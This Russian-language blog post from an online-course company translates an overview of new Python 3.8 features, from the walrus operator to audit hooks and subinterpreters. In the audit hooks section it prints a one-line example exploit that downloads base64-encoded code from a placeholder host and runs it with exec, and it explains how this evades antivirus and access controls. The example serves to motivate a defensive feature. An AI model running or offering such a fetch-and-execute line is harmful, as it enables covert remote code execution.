https://habr.com/ru/company/otus/blog/472432/- Блог компании OTUS. Онлайн-образование
- Python
- Программирование
Следующий перевод подготовлен специально для «питонистов», которым интересно наверняка интересно почитать о новых функциях Python 3.8. В преддверии запуска нового потока по курсу «Разработчик Python» мы не смогли пройти мимо этой темы.
В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.
Моржовый оператор (Оператор присваивания)
Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.
По словам Гвидо, большинство программистов склонны писать:
group = re.match(data).group(1) if re.match(data) else None
Вместо
match = re.match(data)
group = match.group(1) if match else None
Это делает работу программу медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.
Теперь же у нас есть возможность делать так:
group = match.group(1) if (match := re.match(data)) else None
Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.
match1 = pattern1.match(data)
match2 = pattern2.match(data)
if match1:
result = match1.group(1)
elif match2:
result = match2.group(2)
else:
result = None
И вместо этого мы можем написать:
if (match1 := pattern1.match(data)):
result = match1.group(1)
elif (match2 := pattern2.match(data)):
result = match2.group(2)
else:
result = None
Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.
На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.
Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.
y0 = (y1 := f(x))
Позиционные аргументы
def f(a, b, /, c, d, *, e, f):
print(a, b, c, d, e, f)
Здесь все, что находится перед
/
— строго позиционные аргументы, а все, что после
*
— только ключевые слова.
f(10, 20, 30, d=40, e=50, f=60) - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:
def add_to_queue(item: QueueItem):
Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
Или так:
def add_to_queue(*items: QueueItem):
Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.
>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pow() takes no keyword arguments
Поддержка дебага с помощью f-строк
Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.
f"{chr(65) = }" => "chr(65) = 'A'"
Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.
Нативная оболочка asyncio
Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится
asyncio.run()
, чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:
>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’
Вызовы Python runtime audit hooks
Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.
Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.
Новое API выглядит следующим образом:
# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)
Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.
Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:
python -c “import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen(‘http://my-exploit/py.b64')
).decode())”
Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).
С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.
multiprocessing.shared_memory
Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.
Протокол Pickle и буферы внеполосных данных
Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.
Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.
Суб-интерпретаторы
Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).
Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.
Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.
Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.
В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.
Источники: